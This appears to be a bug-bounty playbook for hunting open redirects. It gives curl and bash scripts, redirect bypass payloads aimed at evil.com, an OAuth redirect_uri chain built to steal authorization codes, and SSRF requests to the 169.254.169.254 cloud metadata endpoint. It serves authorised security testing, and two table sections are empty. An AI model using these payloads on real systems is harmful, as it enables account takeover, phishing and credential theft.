Hunt Open Redirect

HUNT-OPEN-REDIRECT — Open Redirect

Crown Jewel Targets

Open redirect alone is Low. Chained to OAuth = Critical (ATO).

Highest-value chains:

• Open redirect → OAuth auth code theft — redirect_uri contains open redirect on trusted domain → auth code sent to attacker → ATO
• Open redirect → phishing — users trust the URL because it starts with target.com
• Open redirect → SSRF escalation — if redirect followed server-side → SSRF
• Open redirect → session fixation — force user to login endpoint with pre-set session

Attack Surface Signals

?redirect=
?next=
?url=
?return=
?returnTo=
?continue=
?dest=
?destination=
?go=
?forward=
?location=
?target=
?redir=
?redirect_uri=
?callback=
?checkout_url=
?success_url=
?cancel_url=
/logout?returnTo=
/login?next=
/sso?callback=

Bypass Table

Step-by-Step Hunting Methodology

Phase 1 — Discover Redirect Parameters

# Extract all redirect candidates from crawl
cat recon/$TARGET/urls.txt | gf redirect > recon/$TARGET/redirect-candidates.txt
wc -l recon/$TARGET/redirect-candidates.txt

# Less common param names
grep -E "(\?|&)(return|next|dest|go|forward|location|to|jump|target|out|link|logout)" \
  recon/$TARGET/urls.txt >> recon/$TARGET/redirect-candidates.txt

Phase 2 — Basic Test

COLLAB="https://evil.com"
cat recon/$TARGET/redirect-candidates.txt | qsreplace "$COLLAB" | while read url; do
  LOC=$(curl -s -I --max-redirs 0 "$url" | grep -i "^location:")
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" --max-redirs 0 "$url")
  [ -n "$LOC" ] && echo "$STATUS | $LOC | $url"
done

Phase 3 — Bypass Techniques

BASE_URL="https://$TARGET/redirect?url="
PAYLOADS=(
  "https://evil.com"
  "//evil.com"
  "/\\evil.com"
  "https://$TARGET@evil.com"
  "https://evil.com%23.$TARGET"
  "https://evil.com%09"
)
for P in "${PAYLOADS[@]}"; do
  LOC=$(curl -s -I --max-redirs 0 "${BASE_URL}${P}" | grep -i "^location:")
  echo "$P → $LOC"
done

Phase 3b — DOM-based open redirect (client-side sink)

Server-side Location: grepping misses redirects that happen purely in JS. Source (location.hash/location.search/document.referrer) assigned to a navigation sink.

grep -rEn "location *=|location\.(href|assign|replace)\(|window\.open\(" recon/$TARGET/ --include="*.js" \
  | grep -iE "location\.(hash|search)|URLSearchParams|getParameter|referrer"
# Confirm in a browser (curl can't): open  https://$TARGET/page#https://evil.com  (or ?url=...)
# Common shape:  var u=new URLSearchParams(location.search).get('url'); location=u;

(PortSwigger: DOM-based open redirection.)

Phase 4 — OAuth Chain Test

# If target has OAuth, check if redirect_uri accepts open redirect
grep -i "oauth\|authorize\|redirect_uri" recon/$TARGET/urls.txt | head -20

# Construct OAuth URL with open redirect as redirect_uri
# Normal: redirect_uri=https://target.com/callback
# Attack: redirect_uri=https://target.com/redirect?url=https://evil.com
OAUTH_URL="https://$TARGET/oauth/authorize"
curl -sv "$OAUTH_URL?response_type=code&client_id=CLIENT_ID&redirect_uri=https://$TARGET/redirect%3Furl%3Dhttps%3A%2F%2Fevil.com" 2>&1 | grep -i "location:"

Phase 5 — Server-Side Redirect (SSRF escalation)

# If the app fetches the redirect target server-side (302 fetch follow)
curl -s "https://$TARGET/proxy?url=https://evil.com/redirect-to-169.254.169.254/latest/meta-data/"

# Or: if app makes HTTP request to the redirect destination
curl -s "https://$TARGET/fetch?url=http://169.254.169.254/latest/meta-data/" \
  -H "Cookie: $SESSION"

Automation

# openredirex
pip3 install openredirex
openredirex -l recon/$TARGET/redirect-candidates.txt -p evil.com

# nuclei
nuclei -u https://$TARGET -t redirect/ -severity medium,high

# gf + qsreplace
cat recon/$TARGET/urls.txt | gf redirect | qsreplace "https://evil.com" | \
  xargs -I{} curl -s -o /dev/null -w "%{http_code} %{redirect_url}\n" --max-redirs 0 {}

Chain Table

Validation

✅ Location header in response points to evil.com (your controlled domain) ✅ Browser follows redirect to attacker-controlled page

Severity:

• Redirect alone: Low (most programs)
• Chains to OAuth code theft → ATO: High/Critical
• Chains to phishing with brand name: Low-Medium
• Server-side → SSRF: High